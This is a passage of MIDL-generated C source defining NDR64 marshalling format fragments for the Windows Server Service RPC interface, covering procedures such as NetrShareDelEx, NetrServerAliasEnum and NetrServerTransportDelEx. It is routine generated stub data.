(NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag178\n};\n\nstatic const __midl_frag917_t __midl_frag917 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag916_t __midl_frag916 =\n{ \n/* _SHARE_INFO */\n    { \n    /* _SHARE_INFO */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag917,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 10 /* 0xa */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag922,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag919,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag920,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 502 /* 0x1f6 */,\n        &__midl_frag921,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1004 /* 0x3ec */,\n        &__midl_frag922,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1006 /* 0x3ee */,\n        &__midl_frag925,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1501 /* 0x5dd */,\n        &__midl_frag924,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1005 /* 0x3ed */,\n        &__midl_frag925,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 501 /* 0x1f5 */,\n        &__midl_frag926,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 503 /* 0x1f7 */,\n        &__midl_frag927,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 0 /* 0x0 */\n};\n\nstatic const __midl_frag915_t __midl_frag915 =\n{ \n/* *_SHARE_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag916\n};\n\nstatic const __midl_frag913_t __midl_frag913 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag912_t __midl_frag912 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag913\n};\n\nstatic const __midl_frag911_t __midl_frag911 =\n{ \n/* NetrShareDelEx */\n    { \n    /* NetrShareDelEx */      /* procedure NetrShareDelEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag928,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* ShareInfo */      /* parameter ShareInfo */\n        &__midl_frag916,\n        { \n        /* ShareInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag909_t __midl_frag909 =\n{ \n/* *_SERVER_ALIAS_INFO_0 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag879\n};\n\nstatic const __midl_frag907_t __midl_frag907 =\n{ \n/* _SERVER_ALIAS_INFO */\n    { \n    /* _SERVER_ALIAS_INFO */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag917,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag909,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag906_t __midl_frag906 =\n{ \n/* *_SERVER_ALIAS_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag907\n};\n\nstatic const __midl_frag902_t __midl_frag902 =\n{ \n/* NetrServerAliasDel */\n    { \n    /* NetrServerAliasDel */      /* procedure NetrServerAliasDel */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag928,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag907,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag899_t __midl_frag899 =\n{ \n/* *long */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag928\n};\n\nstatic const __midl_frag897_t __midl_frag897 =\n{ \n/* *long */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag928\n};\n\nstatic const __midl_frag895_t __midl_frag895 =\n{ \n/*  */\n    { \n    /* *_SERVER_ALIAS_INFO_0 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag893\n    }\n};\n\nstatic const __midl_frag894_t __midl_frag894 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag893_t __midl_frag893 =\n{ \n/* *_SERVER_ALIAS_INFO_0 */\n    { \n    /* *_SERVER_ALIAS_INFO_0 */\n        { \n        /* *_SERVER_ALIAS_INFO_0 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *_SERVER_ALIAS_INFO_0 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag879\n        },\n        &__midl_frag894,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag892_t __midl_frag892 =\n{ \n/* SERVER_ALIAS_INFO_0_CONTAINER */\n    { \n    /* SERVER_ALIAS_INFO_0_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SERVER_ALIAS_INFO_0_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag895,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag891_t __midl_frag891 =\n{ \n/* *SERVER_ALIAS_INFO_0_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag892\n};\n\nstatic const __midl_frag889_t __midl_frag889 =\n{ \n/* _SERVER_ALIAS_ENUM_UNION */\n    { \n    /* _SERVER_ALIAS_ENUM_UNION */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag894,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag891,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag888_t __midl_frag888 =\n{ \n/* _SERVER_ALIAS_ENUM_STRUCT */\n    { \n    /* _SERVER_ALIAS_ENUM_STRUCT */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_ALIAS_ENUM_STRUCT */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag889\n        },\n        { \n        /* _SERVER_ALIAS_ENUM_STRUCT */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag887_t __midl_frag887 =\n{ \n/* *_SERVER_ALIAS_ENUM_STRUCT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag888\n};\n\nstatic const __midl_frag884_t __midl_frag884 =\n{ \n/* NetrServerAliasEnum */\n    { \n    /* NetrServerAliasEnum */      /* procedure NetrServerAliasEnum */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag888,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* PreferedMaximumLength */      /* parameter PreferedMaximumLength */\n        &__midl_frag928,\n        { \n        /* PreferedMaximumLength */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* TotalEntries */      /* parameter TotalEntries */\n        &__midl_frag928,\n        { \n        /* TotalEntries */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* ResumeHandle */      /* parameter ResumeHandle */\n        &__midl_frag899,\n        { \n        /* ResumeHandle */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag882_t __midl_frag882 =\n{ \n/*  */\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag913\n    },\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag913\n    }\n};\n\nstatic const __midl_frag879_t __midl_frag879 =\n{ \n/* _SERVER_ALIAS_INFO_0 */\n    { \n    /* _SERVER_ALIAS_INFO_0 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_ALIAS_INFO_0 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag882,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x10,    /* FC64_CHAR */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 3 /* 0x3 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag868_t __midl_frag868 =\n{ \n/* _TRANSPORT_INFO */\n    { \n    /* _TRANSPORT_INFO */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 312 /* 0x138 */,\n        &__midl_frag917,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag561,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag585,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag598,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag611,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag867_t __midl_frag867 =\n{ \n/* *_TRANSPORT_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag868\n};\n\nstatic const __midl_frag863_t __midl_frag863 =\n{ \n/* NetrServerTransportDelEx */\n    { \n    /* NetrServerTransportDelEx */      /* procedure NetrServerTransportDelEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag928,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Buffer */      /* parameter Buffer */\n        &__midl_frag868,\n        { \n        /* Buffer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n   